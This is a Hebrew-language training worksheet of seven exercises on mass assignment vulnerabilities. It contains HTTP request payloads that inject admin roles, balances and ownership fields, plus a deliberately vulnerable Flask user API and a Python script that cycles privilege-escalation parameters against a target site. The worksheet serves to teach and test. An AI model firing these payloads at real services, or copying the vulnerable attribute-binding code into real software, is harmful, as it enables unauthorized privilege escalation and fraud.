השמה המונית - Mass Assignment - תרגול¶
תרגיל 1 - גילוי שדות נסתרים (Apprentice)¶
רקע:
אפליקציית חנות מקוונת עם API שמחזיר מידע על מוצרים. המטרה: לגלות שדות נסתרים שניתן לשנות ולרכוש מוצר במחיר מופחת.
שלבים:
- גשו לדף המוצר ולכדו את הבקשות ב-Burp
- מצאו את בקשת ה-API שמחזירה פרטי מוצר:
- בדקו את התגובה - האם יש שדות שלא מוצגים בממשק?
- נסו לשלוח בקשת
PATCHאוPUTעם שינוי לשדה הנסתר:
- השלימו את הרכישה ובדקו אם המחיר השתנה
תרגיל 2 - הסלמת הרשאות דרך הרשמה (Practitioner)¶
רקע:
אפליקציה שבה ניתן להירשם כמשתמש רגיל. המטרה: להירשם כאדמין.
שלבים:
- בצעו הרשמה רגילה ולכדו את הבקשה ב-Burp:
POST /register HTTP/1.1
Content-Type: application/json
{"username": "test", "email": "test@test.com", "password": "pass123"}
- בדקו את פרטי המשתמש שנוצר:
- חפשו שדות רגישים בתגובה (כמו
role,isAdmin) - נסו להירשם שוב עם שדות נוספים:
POST /register HTTP/1.1
Content-Type: application/json
{"username": "hacker", "email": "h@h.com", "password": "pass123", "role": "admin"}
- אם לא עובד, נסו וריאציות:
{"role": "admin"}
{"isAdmin": true}
{"is_admin": true}
{"user_type": "admin"}
{"access_level": "administrator"}
{"permissions": ["admin"]}
תרגיל 3 - הסלמה דרך עדכון פרופיל (Practitioner)¶
רקע:
אפליקציה שמאפשרת עדכון פרופיל. המטרה: לשנות את ההרשאות שלכם.
שלבים:
- התחברו ובצעו עדכון פרופיל רגיל (שינוי שם, למשל)
- לכדו את הבקשה:
PUT /api/profile HTTP/1.1
Content-Type: application/json
Cookie: session=abc123
{"name": "New Name"}
- הוסיפו פרמטרים נוספים:
PUT /api/profile HTTP/1.1
Content-Type: application/json
Cookie: session=abc123
{"name": "Hacker", "role": "admin", "isVerified": true, "balance": 99999}
- בדקו את התגובה ואת פרטי המשתמש - מה השתנה?
- נסו לגשת לאזור ההנהלה:
/admin
תרגיל 4 - גילוי פרמטרים עם Param Miner (Practitioner)¶
רקע:
אפליקציה ללא רמזים ברורים לשדות נסתרים. המטרה: לגלות פרמטרים באמצעות כלי אוטומטי.
שלבים:
- התקינו את תוסף Param Miner ב-Burp (אם לא מותקן)
- לכדו בקשת עדכון פרופיל
- הפעילו Param Miner:
- לחיצה ימנית על הבקשה
- "Extensions" -> "Param Miner" -> "Guess JSON parameters"
- בחרו הגדרות:
- רשימת מילים: שמות פרמטרים נפוצים
- שיטת זיהוי: השוואת תגובות
- המתינו לתוצאות וזהו פרמטרים שגורמים לשינוי בתגובה
- נסו להשתמש בפרמטרים שנמצאו
רמז: חפשו הבדלים בגודל התגובה, בקוד הסטטוס, או בתוכן.
תרגיל 5 - מניפולציה דרך API (Practitioner)¶
רקע:
ממשק REST API שמאפשר עדכון משאבים. המטרה: לשנות בעלות על משאב של משתמש אחר.
שלבים:
- צרו משאב חדש (למשל, מסמך או פוסט):
POST /api/documents HTTP/1.1
Content-Type: application/json
{"title": "My Document", "content": "Hello World"}
- בדקו את התגובה ומצאו שדות כמו
ownerId,createdBy:
- נסו לשנות את הבעלות:
PUT /api/documents/42 HTTP/1.1
Content-Type: application/json
{"title": "My Document", "ownerId": 1}
- האם הצלחתם להפוך את המסמך לשייך למשתמש אחר (למשל, אדמין)?
תרגיל 6 - ניתוח קוד וכתיבת exploit (Expert)¶
רקע:
לפניכם קוד צד-שרת של מערכת ניהול משתמשים. מצאו את חולשות ההשמה המונית וכתבו exploit.
# Flask application
from flask import Flask, request, jsonify
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__)
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80))
email = db.Column(db.String(120))
password_hash = db.Column(db.String(128))
role = db.Column(db.String(20), default='user')
is_active = db.Column(db.Boolean, default=True)
credit = db.Column(db.Float, default=0.0)
api_key = db.Column(db.String(64))
@app.route('/api/users', methods=['POST'])
def create_user():
data = request.get_json()
user = User(**data) # VULNERABLE
db.session.add(user)
db.session.commit()
return jsonify({'id': user.id, 'username': user.username})
@app.route('/api/users/<int:user_id>', methods=['PUT'])
def update_user(user_id):
user = User.query.get(user_id)
for key, value in request.get_json().items(): # VULNERABLE
setattr(user, key, value)
db.session.commit()
return jsonify({'success': True})
@app.route('/api/users/<int:user_id>', methods=['GET'])
def get_user(user_id):
user = User.query.get(user_id)
return jsonify({
'id': user.id,
'username': user.username,
'email': user.email,
'role': user.role,
'credit': user.credit
})
משימות:
- כתבו בקשת HTTP שיוצרת משתמש עם הרשאות אדמין
- כתבו בקשת HTTP שמעלה את היתרה (credit) ל-99999
- כתבו בקשת HTTP שמשנה את ה-api_key של משתמש אחר
- כתבו גרסה מאובטחת של כל נקודת קצה
- הסבירו למה
GET /api/users/<id>הוא גם בעייתי (רמז: חשיפת מידע)
תרגיל 7 - אתגר שילוב (Expert)¶
תרחיש:
אתר מסחר אלקטרוני עם הרשמה, פרופיל, ומערכת הזמנות. יש לכם חשבון משתמש רגיל.
מטרות (לפי סדר):
- גלו את מבנה ה-API (בדקו JS, תיעוד, תגובות)
- מצאו שדות נסתרים בנקודות הקצה הבאות:
POST /api/registerPUT /api/profilePOST /api/orders- הסלימו הרשאות לאדמין
- גשו לפאנל הניהול
- שנו מחיר מוצר ורכשו אותו
כלים:
- Burp Suite עם Param Miner
- כלי DevTools של הדפדפן לניתוח JS
- סקריפט Python לאוטומציה:
import requests
base_url = "http://target.com"
session = requests.Session()
# התחברות
session.post(f"{base_url}/login", json={
"username": "wiener",
"password": "peter"
})
# ניסיון השמה המונית
params_to_try = [
'role', 'isAdmin', 'is_admin', 'admin', 'type',
'level', 'access', 'permissions', 'group', 'tier',
'verified', 'premium', 'balance', 'credit', 'discount'
]
for param in params_to_try:
for value in [True, 'admin', 1, 'true']:
resp = session.put(f"{base_url}/api/profile", json={
"username": "wiener",
param: value
})
if resp.status_code == 200:
print(f"[+] {param}={value} -> {resp.text[:100]}")
שאלות:
- איזה פרמטרים מצאתם?
- מה ההבדל בין whitelist ל-blacklist בהגנה?
- למה blacklist פחות בטוח?